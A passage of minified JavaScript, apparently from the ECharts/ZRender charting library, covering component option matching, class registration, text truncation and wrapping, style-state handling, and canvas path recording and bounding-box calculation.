e=t.newOption;lt(!e||null==e.id||!l.get(e.id)||l.get(e.id)===t,"id duplicates: "+(e&&e.id)),e&&null!=e.id&&l.set(e.id,t),!t.keyInfo&&(t.keyInfo={})}),E(s,function(t,e){var n=t.existing,r=t.newOption,i=t.keyInfo;if(j(r)){if(i.name=null!=r.name?Go(r.name):n?n.name:No+e,n)i.id=Go(n.id);else if(null!=r.id)i.id=Go(r.id);else{var o=0;do{i.id="\0"+i.name+"\0"+o++}while(l.get(i.id))}l.set(i.id,t)}}),u}function Wo(t,e,n){var r=Uo(e[t],null),i=Uo(n[t],null);return null!=r&&null!=i&&r===i}function Go(t){return Uo(t,"")}function Uo(t,e){return null==t?e:Y(t)?t:Z(t)||q(t)?t+"":e}function Xo(t){var e=t.name;return!(!e||!e.indexOf(No))}function Yo(t){return t&&null!=t.id&&0===Go(t.id).indexOf("\0_ec_\0")}function qo(t,e){return null!=e.dataIndexInside?e.dataIndexInside:null!=e.dataIndex?U(e.dataIndex)?B(e.dataIndex,function(e){return t.indexOfRawIndex(e)}):t.indexOfRawIndex(e.dataIndex):null!=e.name?U(e.name)?B(e.name,function(e){return t.indexOfName(e)}):t.indexOfName(e.name):void 0}function Zo(){var t="__ec_inner_"+jo++;return function(e){return e[t]||(e[t]={})}}var jo=Mo();function Ko(t,e,n){var r=$o(e,n),i=r.mainTypeSpecified,o=r.queryOptionMap,a=r.others,s=n?n.defaultMainType:null;return!i&&s&&o.set(s,{}),o.each(function(e,r){var i=Jo(t,r,e,{useDefault:s===r,enableAll:!n||null==n.enableAll||n.enableAll,enableNone:!n||null==n.enableNone||n.enableNone});a[r+"Models"]=i.models,a[r+"Model"]=i.models[0]}),a}function $o(t,e){var n;if(Y(t)){var r={};r[t+"Index"]=0,n=r}else n=t;var i=vt(),o={},a=!1;return E(n,function(t,n){if("dataIndex"!==n&&"dataIndexInside"!==n){var r=n.match(/^(\w+)(Index|Id|Name)$/)||[],s=r[1],l=(r[2]||"").toLowerCase();if(s&&l&&!(e&&e.includeMainTypes&&P(e.includeMainTypes,s)<0))a=a||!!s,(i.get(s)||i.set(s,{}))[l]=t}else o[n]=t}),{mainTypeSpecified:a,queryOptionMap:i,others:o}}var Qo={useDefault:!0,enableAll:!1,enableNone:!1};function Jo(t,e,n,r){r=r||Qo;var i=n.index,o=n.id,a=n.name,s={models:null,specified:null!=i||null!=o||null!=a};if(!s.specified){var l=void 0;return s.models=r.useDefault&&(l=t.getComponent(e))?[l]:[],s}if("none"===i||!1===i){if(r.enableNone)return s.models=[],s;i=-1}return"all"===i&&(i=r.enableAll?o=a=null:-1),s.models=t.queryComponents({mainType:e,index:i,id:o,name:a}),s}function ta(t,e,n){t.setAttribute?t.setAttribute(e,n):t[e]=n}function ea(){return[1/0,-1/0]}function na(t,e){oa(e)&&(e<t[0]&&(t[0]=e),e>t[1]&&(t[1]=e))}function ra(t,e){oa(e)&&e<t[0]&&(t[0]=e)}function ia(t,e){oa(e)&&e>t[1]&&(t[1]=e)}function oa(t){return null!=t&&isFinite(t)}function aa(t,e){return oa(t)&&oa(e)&&t<=e}function sa(){var t="__ec_once_"+la++;return function(e,n){xt(e,t)||(e[t]=1,n())}}var la=Mo();function ua(t,e,n){var r=vt(),i=0;E(t,function(o){var a=e(o);var s=r.get(a)||0;n&&n(o,s),s||n||(t[i++]=o),r.set(a,s+1)}),n||(t.length=i)}function ca(t){return t.value+""}function ha(t){return t+""}function fa(t,e,n){var r=t.getData().count();return{progressiveRender:n.progressiveEnabled&&e.incrementalPrepareRender&&r>=n.threshold,large:t.get("large")&&r>=t.get("largeThreshold"),modDataCount:"mod"===t.get("progressiveChunkMode")?t.getData().count():null}}function pa(t){return{overallReset:t}}var da="___EC__COMPONENT__CONTAINER___",ga="___EC__EXTENDED_CLASS___";function va(t){var e={main:"",sub:""};if(t){var n=t.split(".");e.main=n[0]||"",e.sub=n[1]||""}return e}function ya(t,e){t.$constructor=t,t.extend=function(t){var e,r,i=this;return X(r=i)&&/^class\s/.test(Function.prototype.toString.call(r))?e=function(t){function e(){return t.apply(this,arguments)||this}return n(e,t),e}(i):(e=function(){(t.$constructor||i).apply(this,arguments)},O(e,this)),I(e.prototype,t),e[ga]=!0,e.extend=this.extend,e.superCall=xa,e.superApply=ba,e.superClass=i,e}}function ma(t,e){t.extend=e.extend}var _a=Math.round(10*Math.random());function xa(t,e){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return this.superClass.prototype[e].apply(t,n)}function ba(t,e,n){return this.superClass.prototype[e].apply(t,n)}function wa(t){var e={};t.registerClass=function(t){var n,r=t.type||t.prototype.type;if(r){lt(/^[a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)?$/.test(n=r),'componentType "'+n+'" illegal'),t.prototype.type=r;var i=va(r);if(i.sub){if(i.sub!==da){var o=function(t){var n=e[t.main];n&&n[da]||((n=e[t.main]={})[da]=!0);return n}(i);o[i.sub]=t}}else e[i.main]=t}return t},t.getClass=function(t,n,r){var i=e[t];if(i&&i[da]&&(i=n?i[n]:null),r&&!i)throw new Error(n?"Component "+t+"."+(n||"")+" is used but not imported.":t+".type should be specified.");return i},t.getClassesByMainType=function(t){var n=va(t),r=[],i=e[n.main];return i&&i[da]?E(i,function(t,e){e!==da&&r.push(t)}):r.push(i),r},t.hasClass=function(t){var n=va(t);return!!e[n.main]},t.getAllClassMainTypes=function(){var t=[];return E(e,function(e,n){t.push(n)}),t},t.hasSubTypes=function(t){var n=va(t),r=e[n.main];return r&&r[da]}}function Sa(t,e){for(var n=0;n<t.length;n++)t[n][1]||(t[n][1]=t[n][0]);return e=e||!1,function(n,r,i){for(var o={},a=0;a<t.length;a++){var s=t[a][1];if(!(r&&P(r,s)>=0||i&&P(i,s)<0)){var l=n.getShallow(s,e);null!=l&&(o[t[a][0]]=l)}}return o}}var Ma=Sa([["fill","color"],["shadowBlur"],["shadowOffsetX"],["shadowOffsetY"],["opacity"],["shadowColor"]]),Ta=function(){function t(){}return t.prototype.getAreaStyle=function(t,e){return Ma(this,t,e)},t}(),ka=new Wn(50);function Ca(t){if("string"==typeof t){var e=ka.get(t);return e&&e.image}return t}function Ia(t,e,n,r,i){if(t){if("string"==typeof t){if(e&&e.__zrImageSrc===t||!n)return e;var o=ka.get(t),a={hostEl:n,cb:r,cbPayload:i};return o?!Aa(e=o.image)&&o.pending.push(a):((e=u.loadImage(t,Da,Da)).__zrImageSrc=t,ka.put(t,e.__cachedImgObj={image:e,pending:[a]})),e}return t}return e}function Da(){var t=this.__cachedImgObj;this.onload=this.onerror=this.__cachedImgObj=null;for(var e=0;e<t.pending.length;e++){var n=t.pending[e],r=n.cb;r&&r(this,n.cbPayload),n.hostEl.dirty()}t.pending.length=0}function Aa(t){return t&&t.width&&t.height}var La=/\{([a-zA-Z0-9_]+)\|([^}]*)\}/g;function Pa(t,e,n,r,i,o){if(!n)return t.text="",void(t.isTruncated=!1);var a=(e+"").split("\n");o=Oa(n,r,i,o);for(var s=!1,l={},u=0,c=a.length;u<c;u++)Ra(l,a[u],o),a[u]=l.textLine,s=s||l.isTruncated;t.text=a.join("\n"),t.isTruncated=s}function Oa(t,e,n,r){var i=I({},r=r||{});n=it(n,"..."),i.maxIterations=it(r.maxIterations,2);var o=i.minChar=it(r.minChar,0),a=i.fontMeasureInfo=hi(e),s=a.asciiCharWidth;i.placeholder=it(r.placeholder,"");for(var l=t=Math.max(0,t-1),u=0;u<o&&l>=s;u++)l-=s;var c=gi(a,n);return c>l&&(n="",c=0),l=t-c,i.ellipsis=n,i.ellipsisWidth=c,i.contentWidth=l,i.containerWidth=t,i}function Ra(t,e,n){var r=n.containerWidth,i=n.contentWidth,o=n.fontMeasureInfo;if(!r)return t.textLine="",void(t.isTruncated=!1);var a=gi(o,e);if(a<=r)return t.textLine=e,void(t.isTruncated=!1);for(var s=0;;s++){if(a<=i||s>=n.maxIterations){e+=n.ellipsis;break}var l=0===s?Na(e,i,o):a>0?Math.floor(e.length*i/a):0;a=gi(o,e=e.substr(0,l))}""===e&&(e=n.placeholder),t.textLine=e,t.isTruncated=!0}function Na(t,e,n){for(var r=0,i=0,o=t.length;i<o&&r<e;i++)r+=di(n,t.charCodeAt(i));return i}var Ea=function(){},Ba=function(t){this.tokens=[],t&&(this.tokens=t)},za=function(){this.width=0,this.height=0,this.contentWidth=0,this.contentHeight=0,this.outerWidth=0,this.outerHeight=0,this.lines=[],this.isTruncated=!1};function Fa(t,e,n,r,i){var o,a,s=""===e,l=i&&n.rich[i]||{},u=t.lines,c=l.font||n.font,h=!1;if(r){var f=l.padding,p=f?f[1]+f[3]:0;if(null!=l.width&&"auto"!==l.width){var d=bi(l.width,r.width)+p;u.length>0&&d+r.accumWidth>r.width&&(o=e.split("\n"),h=!0),r.accumWidth=d}else{var g=Wa(e,c,r.width,r.breakAll,r.accumWidth);r.accumWidth=g.accumWidth+p,a=g.linesWidths,o=g.lines}}o||(o=e.split("\n"));for(var v=hi(c),y=0;y<o.length;y++){var m=o[y],_=new Ea;if(_.styleName=i,_.text=m,_.isLineHolder=!m&&!s,"number"==typeof l.width?_.width=l.width:_.width=a?a[y]:gi(v,m),y||h)u.push(new Ba([_]));else{var x=(u[u.length-1]||(u[0]=new Ba)).tokens,b=x.length;1===b&&x[0].isLineHolder?x[0]=_:(m||!b||s)&&x.push(_)}}}var Va=z(",&?/;] ".split(""),function(t,e){return t[e]=!0,t},{});function Ha(t){return!function(t){var e=t.charCodeAt(0);return e>=32&&e<=591||e>=880&&e<=4351||e>=4608&&e<=5119||e>=7680&&e<=8303}(t)||!!Va[t]}function Wa(t,e,n,r,i){for(var o=[],a=[],s="",l="",u=0,c=0,h=hi(e),f=0;f<t.length;f++){var p=t.charAt(f);if("\n"!==p){var d=di(h,p.charCodeAt(0)),g=!r&&!Ha(p);(o.length?c+d>n:i+c+d>n)?c?(s||l)&&(g?(s||(s=l,l="",c=u=0),o.push(s),a.push(c-u),l+=p,s="",c=u+=d):(l&&(s+=l,l="",u=0),o.push(s),a.push(c),s=p,c=d)):g?(o.push(l),a.push(u),l=p,u=d):(o.push(p),a.push(d)):(c+=d,g?(l+=p,u+=d):(l&&(s+=l,l="",u=0),s+=p))}else l&&(s+=l,c+=u),o.push(s),a.push(c),s="",l="",u=0,c=0}return l&&(s+=l),s&&(o.push(s),a.push(c)),1===o.length&&(c+=i),{accumWidth:c,lines:o,linesWidths:a}}function Ga(t,e,n,r,i,o){if(t.baseX=n,t.baseY=r,t.outerWidth=t.outerHeight=null,e){var a=2*e.width,s=2*e.height;Be.set(Ua,mi(n,a,i),_i(r,s,o),a,s),Be.intersect(e,Ua,null,Xa);var l=Xa.outIntersectRect;t.outerWidth=l.width,t.outerHeight=l.height,t.baseX=mi(l.x,l.width,i,!0),t.baseY=_i(l.y,l.height,o,!0)}}var Ua=new Be(0,0,0,0),Xa={outIntersectRect:{},clamp:!0};function Ya(t){return null!=t?t+="":t=""}function qa(t,e,n,r){var i=new Be(mi(t.x||0,e,t.textAlign),_i(t.y||0,n,t.textBaseline),e,n),o=null!=r?r:Za(t)?t.lineWidth:0;return o>0&&(i.x-=o/2,i.y-=o/2,i.width+=o,i.height+=o),i}function Za(t){var e=t.stroke;return null!=e&&"none"!==e&&t.lineWidth>0}var ja="__zr_style_"+Math.round(10*Math.random()),Ka={shadowBlur:0,shadowOffsetX:0,shadowOffsetY:0,shadowColor:"#000",opacity:1,blend:"source-over"},$a={style:{shadowBlur:!0,shadowOffsetX:!0,shadowOffsetY:!0,shadowColor:!0,opacity:!0}};Ka[ja]=!0;var Qa=["z","z2","invisible"],Ja=["invisible"],ts=function(t){function e(e){return t.call(this,e)||this}var r;return n(e,t),e.prototype._init=function(e){for(var n=H(e),r=0;r<n.length;r++){var i=n[r];"style"===i?this.useStyle(e[i]):t.prototype.attrKV.call(this,i,e[i])}this.style||this.useStyle({})},e.prototype.beforeBrush=function(t){},e.prototype.afterBrush=function(){},e.prototype.innerBeforeBrush=function(){},e.prototype.innerAfterBrush=function(){},e.prototype.shouldBePainted=function(t,e,n,r){var i=this.transform;if(this.ignore||this.invisible||0===this.style.opacity||this.culling&&function(t,e,n){es.copy(t.getBoundingRect()),t.transform&&es.applyTransform(t.transform);return ns.width=e,ns.height=n,!es.intersect(ns)}(this,t,e)||i&&!i[0]&&!i[3])return!1;if(n&&this.__clipPaths&&this.__clipPaths.length)for(var o=0;o<this.__clipPaths.length;++o)if(this.__clipPaths[o].isZeroArea())return!1;if(r&&this.parent)for(var a=this.parent;a;){if(a.ignore)return!1;a=a.parent}return!0},e.prototype.contain=function(t,e){return this.rectContain(t,e)},e.prototype.traverse=function(t,e){t.call(e,this)},e.prototype.rectContain=function(t,e){var n=this.transformCoordToLocal(t,e);return this.getBoundingRect().contain(n[0],n[1])},e.prototype.getPaintRect=function(){var t=this._paintRect;if(!this._paintRect||this.__dirty){var e=this.transform,n=this.getBoundingRect(),r=this.style,i=r.shadowBlur||0,o=r.shadowOffsetX||0,a=r.shadowOffsetY||0;t=this._paintRect||(this._paintRect=new Be(0,0,0,0)),e?Be.applyTransform(t,n,e):t.copy(n),(i||o||a)&&(t.width+=2*i+Math.abs(o),t.height+=2*i+Math.abs(a),t.x=Math.min(t.x,t.x+o-i),t.y=Math.min(t.y,t.y+a-i));var s=this.dirtyRectTolerance;t.isZero()||(t.x=Math.floor(t.x-s),t.y=Math.floor(t.y-s),t.width=Math.ceil(t.width+1+2*s),t.height=Math.ceil(t.height+1+2*s))}return t},e.prototype.setPrevPaintRect=function(t){t?(this._prevPaintRect=this._prevPaintRect||new Be(0,0,0,0),this._prevPaintRect.copy(t)):this._prevPaintRect=null},e.prototype.getPrevPaintRect=function(){return this._prevPaintRect},e.prototype.animateStyle=function(t){return this.animate("style",t)},e.prototype.updateDuringAnimation=function(t){"style"===t?this.dirtyStyle():this.markRedraw()},e.prototype.attrKV=function(e,n){"style"!==e?t.prototype.attrKV.call(this,e,n):this.style?this.setStyle(n):this.useStyle(n)},e.prototype.setStyle=function(t,e){return"string"==typeof t?this.style[t]=e:I(this.style,t),this.dirtyStyle(),this},e.prototype.dirtyStyle=function(t){t||this.markRedraw(),this.__dirty|=2,this._rect&&(this._rect=null)},e.prototype.dirty=function(){this.dirtyStyle()},e.prototype.styleChanged=function(){return!!(2&this.__dirty)},e.prototype.styleUpdated=function(){this.__dirty&=-3},e.prototype.createStyle=function(t){return mt(Ka,t)},e.prototype.useStyle=function(t){t[ja]||(t=this.createStyle(t)),this.style=t,this.dirtyStyle()},e.prototype._useHoverStyle=function(t){this.__hoverStyle=t},e.prototype.isStyleObject=function(t){return t[ja]},e.prototype._innerSaveToNormal=function(e){t.prototype._innerSaveToNormal.call(this,e);var n=this._normalState;e.style&&!n.style&&(n.style=this._mergeStyle(this.createStyle(),this.style)),this._savePrimaryToNormal(e,n,Qa)},e.prototype._applyStateObj=function(e,n,r,i,o,a){t.prototype._applyStateObj.call(this,e,n,r,i,o,a);var s,l=!(n&&i),u=1===this.__inHover;if(n&&n.style?o?i?s=n.style:(s=this._mergeStyle(this.createStyle(),r.style),this._mergeStyle(s,n.style)):(s=this._mergeStyle(this.createStyle(),i?this.style:r.style),this._mergeStyle(s,n.style)):l&&(s=r.style),s)if(o){var c=this.style;if(this.style=this.createStyle(l?{}:c),l)for(var h=H(c),f=0;f<h.length;f++){(d=h[f])in s&&(s[d]=s[d],this.style[d]=c[d])}var p=H(s);for(f=0;f<p.length;f++){var d=p[f];this.style[d]=this.style[d]}this._transitionState(e,{style:s},a,this.getAnimationStyleProps())}else u?this._useHoverStyle(s):this.useStyle(s);if(!u){var g=this.__inHover?Ja:Qa;for(f=0;f<g.length;f++){d=g[f];n&&null!=n[d]?this[d]=n[d]:l&&null!=r[d]&&(this[d]=r[d])}}},e.prototype._mergeStates=function(e){for(var n,r=t.prototype._mergeStates.call(this,e),i=0;i<e.length;i++){var o=e[i];o.style&&(n=n||{},this._mergeStyle(n,o.style))}return n&&(r.style=n),r},e.prototype._mergeStyle=function(t,e){return I(t,e),t},e.prototype.getAnimationStyleProps=function(){return $a},e.initDefaultProps=((r=e.prototype).type="displayable",r.invisible=!1,r.z=0,r.z2=0,r.zlevel=0,r.culling=!1,r.cursor="pointer",r.rectHover=!1,r.incremental=0,r._rect=null,r.dirtyRectTolerance=0,void(r.__dirty=3)),e}(Di),es=new Be(0,0,0,0),ns=new Be(0,0,0,0);var rs=Math.min,is=Math.max,os=Math.sin,as=Math.cos,ss=2*Math.PI,ls=Tt(),us=Tt(),cs=Tt();function hs(t,e,n,r,i,o){i[0]=rs(t,n),i[1]=rs(e,r),o[0]=is(t,n),o[1]=is(e,r)}var fs=[],ps=[];function ds(t,e,n,r,i,o,a,s,l,u){var c=Dn,h=kn,f=c(t,n,i,a,fs);l[0]=1/0,l[1]=1/0,u[0]=-1/0,u[1]=-1/0;for(var p=0;p<f;p++){var d=h(t,n,i,a,fs[p]);l[0]=rs(d,l[0]),u[0]=is(d,u[0])}f=c(e,r,o,s,ps);for(p=0;p<f;p++){var g=h(e,r,o,s,ps[p]);l[1]=rs(g,l[1]),u[1]=is(g,u[1])}l[0]=rs(t,l[0]),u[0]=is(t,u[0]),l[0]=rs(a,l[0]),u[0]=is(a,u[0]),l[1]=rs(e,l[1]),u[1]=is(e,u[1]),l[1]=rs(s,l[1]),u[1]=is(s,u[1])}function gs(t,e,n,r,i,o,a,s){var l=Rn,u=Pn,c=is(rs(l(t,n,i),1),0),h=is(rs(l(e,r,o),1),0),f=u(t,n,i,c),p=u(e,r,o,h);a[0]=rs(t,i,f),a[1]=rs(e,o,p),s[0]=is(t,i,f),s[1]=is(e,o,p)}function vs(t,e,n,r,i,o,a,s,l){var u=Wt,c=Gt,h=Math.abs(i-o);if(h%ss<1e-4&&h>1e-4)return s[0]=t-n,s[1]=e-r,l[0]=t+n,void(l[1]=e+r);if(ls[0]=as(i)*n+t,ls[1]=os(i)*r+e,us[0]=as(o)*n+t,us[1]=os(o)*r+e,u(s,ls,us),c(l,ls,us),(i%=ss)<0&&(i+=ss),(o%=ss)<0&&(o+=ss),i>o&&!a?o+=ss:i<o&&a&&(i+=ss),a){var f=o;o=i,i=f}for(var p=0;p<o;p+=Math.PI/2)p>i&&(cs[0]=as(p)*n+t,cs[1]=os(p)*r+e,u(s,cs,s),c(l,cs,l))}var ys={M:1,L:2,C:3,Q:4,A:5,Z:6,R:7},ms=[],_s=[],xs=[],bs=[],ws=[],Ss=[],Ms=Math.min,Ts=Math.max,ks=Math.cos,Cs=Math.sin,Is=Math.abs,Ds=Math.PI,As=2*Ds,Ls="undefined"!=typeof Float32Array,Ps=[];function Os(t){return Math.round(t/Ds*1e8)/1e8%2*Ds}function Rs(t,e){var n=Os(t[0]);n<0&&(n+=As);var r=n-t[0],i=t[1];i+=r,!e&&i-n>=As?i=n+As:e&&n-i>=As?i=n-As:!e&&n>i?i=n+(As-Os(n-i)):e&&n<i&&(i=n-(As-Os(i-n))),t[0]=n,t[1]=i}var Ns=function(){function t(t){this.dpr=1,this._xi=0,this._yi=0,this._x0=0,this._y0=0,this._len=0,t&&(this._saveData=!1),this._saveData&&(this.data=[])}var e;return t.prototype.increaseVersion=function(){this._version++},t.prototype.getVersion=function(){return this._version},t.prototype.setScale=function(t,e,n){(n=n||0)>0&&(this._ux=Is(n/Kr/t)||0,this._uy=Is(n/Kr/e)||0)},t.prototype.setDPR=function(t){this.dpr=t},t.prototype.setContext=function(t){this._ctx=t},t.prototype.getContext=function(){return this._ctx},t.prototype.beginPath=function(){return this._ctx&&this._ctx.beginPath(),this.reset(),this},t.prototype.reset=function(){this._saveData&&(this._len=0),this._pathSegLen&&(this._pathSegLen=null,this._pathLen=0),this._version++},t.prototype.moveTo=function(t,e){return this._drawPendingPt(),this.addData(ys.M,t,e),this._ctx&&this._ctx.moveTo(t,e),this._x0=t,this._y0=e,this._xi=t,this._yi=e,this},t.prototype.lineTo=function(t,e){var n=Is(t-this._xi),r=Is(e-this._yi),i=n>this._ux||r>this._uy;if(this.addData(ys.L,t,e),this._ctx&&i&&this._ctx.lineTo(t,e),i)this._xi=t,this._yi=e,this._pendingPtDist=0;else{var o=n*n+r*r;o>this._pendingPtDist&&(this._pendingPtX=t,this._pendingPtY=e,this._pendingPtDist=o)}return this},t.prototype.bezierCurveTo=function(t,e,n,r,i,o){return this._drawPendingPt(),this.addData(ys.C,t,e,n,r,i,o),this._ctx&&this._ctx.bezierCurveTo(t,e,n,r,i,o),this._xi=i,this._yi=o,this},t.prototype.quadraticCurveTo=function(t,e,n,r){return this._drawPendingPt(),this.addData(ys.Q,t,e,n,r),this._ctx&&this._ctx.quadraticCurveTo(t,e,n,r),this._xi=n,this._yi=r,this},t.prototype.arc=function(t,e,n,r,i,o){this._drawPendingPt(),Ps[0]=r,Ps[1]=i,Rs(Ps,o),r=Ps[0];var a=(i=Ps[1])-r;return this.addData(ys.A,t,e,n,n,r,a,0,o?0:1),this._ctx&&this._ctx.arc(t,e,n,r,i,o),this._xi=ks(i)*n+t,this._yi=Cs(i)*n+e,this},t.prototype.arcTo=function(t,e,n,r,i){return this._drawPendingPt(),this._ctx&&this._ctx.arcTo(t,e,n,r,i),this},t.prototype.rect=function(t,e,n,r){return this._drawPendingPt(),this._ctx&&this._ctx.rect(t,e,n,r),this.addData(ys.R,t,e,n,r),this},t.prototype.closePath=function(){this._drawPendingPt(),this.addData(ys.Z);var t=this._ctx,e=this._x0,n=this._y0;return t&&t.closePath(),this._xi=e,this._yi=n,this},t.prototype.fill=function(t){t&&t.fill(),this.toStatic()},t.prototype.stroke=function(t){t&&t.stroke(),this.toStatic()},t.prototype.len=function(){return this._len},t.prototype.setData=function(t){if(this._saveData){var e=t.length;this.data&&this.data.length===e||!Ls||(this.data=new Float32Array(e));for(var n=0;n<e;n++)this.data[n]=t[n];this._len=e}},t.prototype.appendPath=function(t){if(this._saveData){t instanceof Array||(t=[t]);for(var e=t.length,n=0,r=this._len,i=0;i<e;i++)n+=t[i].len();var o=this.data;if(Ls&&(o instanceof Float32Array||!o)&&(this.data=new Float32Array(r+n),r>0&&o))for(var a=0;a<r;a++)this.data[a]=o[a];for(i=0;i<e;i++){var s=t[i].data;for(a=0;a<s.length;a++)this.data[r++]=s[a]}this._len=r}},t.prototype.addData=function(t,e,n,r,i,o,a,s,l){if(this._saveData){var u=this.data;this._len+arguments.length>u.length&&(this._expandData(),u=this.data);for(var c=0;c<arguments.length;c++)u[this._len++]=arguments[c]}},t.prototype._drawPendingPt=function(){this._pendingPtDist>0&&(this._ctx&&this._ctx.lineTo(this._pendingPtX,this._pendingPtY),this._pendingPtDist=0)},t.prototype._expandData=function(){if(!(this.data instanceof Array)){for(var t=[],e=0;e<this._len;e++)t[e]=this.data[e];this.data=t}},t.prototype.toStatic=function(){if(this._saveData){this._drawPendingPt();var t=this.data;t instanceof Array&&(t.length=this._len,Ls&&this._len>11&&(this.data=new Float32Array(t)))}},t.prototype.getBoundingRect=function(){xs[0]=xs[1]=ws[0]=ws[1]=Number.MAX_VALUE,bs[0]=bs[1]=Ss[0]=Ss[1]=-Number.MAX_VALUE;var t,e=this.data,n=0,r=0,i=0,o=0;for(t=0;t<this._len;){var a=e[t++],s=1===t;switch(s&&(i=n=e[t],o=r=e[t+1]),a){case ys.M:n=i=e[t++],r=o=e[t++],ws[0]=i,ws[1]=o,Ss[0]=i,Ss[1]=o;break;case ys.L:hs(n,r,e[t],e[t+1],ws,Ss),n=e[t++],r=e[t++];break;case ys.C:ds(n,r,e[t++],e[t++],e[t++],e[t++],e[t],e[t+1],ws,Ss),n=e[t++],r=e[t++];break;case ys.Q:gs(n,r,e[t++],e[t++],e[t],e[t+1],ws,Ss),n=e[t++],r=e[t++];break;case ys.A:var l=e[t++],u=e[t++],c=e[t++],h=e[t++],f=e[t++],p=e[t++]+f;t+=1;var d=!e[t++];s&&(i=ks(f)*c+l,o=Cs(f)*h+u),vs(l,u,c,h,f,p,d,ws,Ss),n=ks(p)*c+l,r=Cs(p)*h+u;break;case ys.R:hs(i=n=e[t++],o=r=e[t++],i+e[t++],o+e[t++],ws,Ss);break;case ys.Z:n=i,r=o}Wt(xs,xs,ws),Gt(bs,bs,Ss)}return 0===t&&(xs[0]=xs[1]=bs[0]=bs[1]=0),new Be(xs[0],xs[1],bs[0]-xs[0],bs[1]-xs[1])},t.prototype._calculateLength=function(){var t=this.data,e=this._len,n=this._ux,r=this._uy,i=0,o=0,a=0,s=0;this._pathSegLen||(this._pathSegLen=[]);for(var l=this._pathSegLen,u=0,c=0,h=0;h<e;){var f=t[h++],p=1===h;p&&(a=i=t[h],s=o=t[h+1]);var d=-1;switch(f){case ys.M:i=a=t[h++],o=s=t[h++];break;case ys.L:var g=t[h++],v=(_=t[h++])-o;(Is(D=g-i)>n||Is(v)>r||h===e-1)&&(d=Math.sqrt(D*D+v*v),i=g,o=_);break;case ys.C:var y=t[h++],m=t[h++],_=(g=t[h++],t[h++]),x=t[h++],b=t[h++];d=Ln(i,o,y,m,g,_,x,b,10),i=x,o=b;break;case ys.Q:d=En(i,o,y=t[h++],m=t[h++],g=t[h++],_=t[h++],10),i=g,o=_;break;case ys.A:var w=t[h++],S=t[h++],M=t[h++],T=t[h++],k=t[h++],C=t[h++],I=C+k;h+=1,p&&(a=ks(k)*M+w,s=Cs(k)*T+S),d=Ts(M,T)*Ms(As,Math.abs(C)),i=ks(I)*M+w,o=Cs(I)*T+S;break;case ys.R:a=i=t[h++],s=o=t[h++],d=2*t[h++]+2*t[h++];break;case ys.Z:var D=a-i;v=s-o;d=Math.sqrt(D*D+v*v),i=a,o=s}d>=0&&(l[c++]=d,u+=d)}return this._pathLen=u,u},t.prototype.rebuildPath=function(t,e){var n,r,i,o,a,s,l,u,c,h,f=this.data,p=this._ux,d=this._uy,g=this._len,v=e<1,y=0,m=0,_=0;if(!v||(this._pathSegLen||this._calculateLength(),l=this._pathSegLen,u=e*this._pathLen))t:for(var x=0;x<g;){var b=f[x++],w=1===x;switch(w&&(n=i=f[x],r=o=f[x+1]),b!==ys.L&&_>0&&(t.lineTo(c,h),_=0),b){case ys.M:n=i=f[x++],r=o=f[x++],t.moveTo(i,o);break;case ys.L:a=f[x++],s=f[x++];var S=Is(a-i),M=Is(s-o);if(S>p||M>d){if(v){if(y+(Z=l[m++])>u){var T=(u-y)/Z;t.lineTo(i*(1-T)+a*T,o*(1-T)+s*T);break t}y+=Z}t.lineTo(a,s),i=a,o=s,_=0}else{var k=S*S+M*M;k>_&&(c=a,h=s,_=k)}break;case ys.C:var C=f[x++],I=f[x++],D=f[x++],A=f[x++],L=f[x++],P=f[x++];if(v){if(y+(Z=l[m++])>u){An(i,C,D,L,T=(u-y)/Z,ms),An(o,I,A,P,T,_s),t.bezierCurveTo(ms[1],_s[1],ms[2],_s[2],ms[3],_s[3]);break t}y+=Z}t.bezierCurveTo(C,I,D,A,L,P),i=L,o=P;break;case ys.Q:C=f[x++],I=f[x++],D=f[x++],A=f[x++];if(v){if(y+(Z=l[m++])>u){Nn(i,C,D,T=(u-y)/Z,ms),Nn(o,I,A,T,_s),t.quadraticCurveTo(ms[1],_s[1],ms[2],_s[2]);break t}y+=Z}t.quadraticCurveTo(C,I,D,A),i=D,o=A;break;case ys.A:var O=f[x++],R=f[x++],N=f[x++],E=f[x++],B=f[x++],z=f[x++],F=f[x++],V=!f[x++],H=N>E?N:E,W=Is(N-E)>.001,G=B+z,U=!1;if(v)y+(Z=l[m++])>u&&(G=B+z*(u-y)/Z,U=!0),y+=Z;if(W&&t.ellipse?t.ellipse(O,R,N,E,F,B,G,V):t.arc(O,R,H,B,G,V),U)break t;w&&(n=ks(B)*N+O,r=Cs(B)*E+R),i=ks(G)*N+O,o=Cs(G)*E+R;break;case ys.R:n=i=f[x],r=o=f[x+1],a=f[x++],s=f[x++];var X=f[x++],Y=f[x++];if(v){if(y+(Z=l[m++])>u){var q=u-y;t.moveTo(a,s),t.lineTo(a+Ms(q,X),s),(q-=X)>0&&t.lineTo(a+X,s+Ms(q,Y)),(q-=Y)>0&&t.lineTo(a+Ts(X-q,0),s+Y),(q-=X)>0&&t.lineTo(a,s+Ts(Y-q,0));break t}y+=Z}t.rect(a,s,X,Y);break;case ys.Z:if(v){var Z;if(y+(Z=l[m++])>u){T=(u-y)/Z;t.lineTo(i*(1-T)+n*T,o*(1-T)+r*T);break t}y+=Z}t.closePath(),i=n,o=r}}},t.prototype.clone=function(){var e=new t,n=this.data;return e.data=n.slice?n.slice():Array.prototype.slice.call(n),e._len=this._len,e},t.prototype.canSave=function(){return!!this._saveData},t.CMD=ys,t.initDefaultProps=((e=t.prototype)._saveData=!0,e._ux=0,e._uy=0,e._pendingPtDist=0,void(e._version=0)),t}();function Es(t,e,n,r,i,o,a){if(0===i)return!1;var s=i,l=0;if(a>e+s&&a>r+s||a<e-s&&a<r-s||o>t+s&&o>n+s||o<t-s&&o<n-s)return!1;if(t===n)return Math.abs(o-t)<=s/2;var u=(l=(e-r)/(t-n))*o-a+(t*r-n*e)/(t-n);return u*u/(l*l+1)<=s/2*s/2}function Bs(t,e,n,r,i,o,a,s,l,u,c){if(0===l)return!1;var h=l;if(c>e+h&&c>r+h&&c>o+h&&c>s+h||c<e-h&&c<r-h&&c<o-h&&c<s-h||u>t+h&&u>n+h&&u>i+h&&u>a+h||u<t-h&&u<n-h&&u<i-h&&u<a-h)return!1;var f=function(t,e,n,r,i,o,a,s,l,u,c){var h,f,p,d,g,v=.005,y=1/0;bn[0]=l,bn[1]=u;for(var m=0;m<1;m+=.05)wn[0]=kn(t,n,i,a,m),wn[1]=kn(e,r,o,s,m),(d=Ft(bn,wn))<y&&(h=m,y=d);y=1/0;for(var 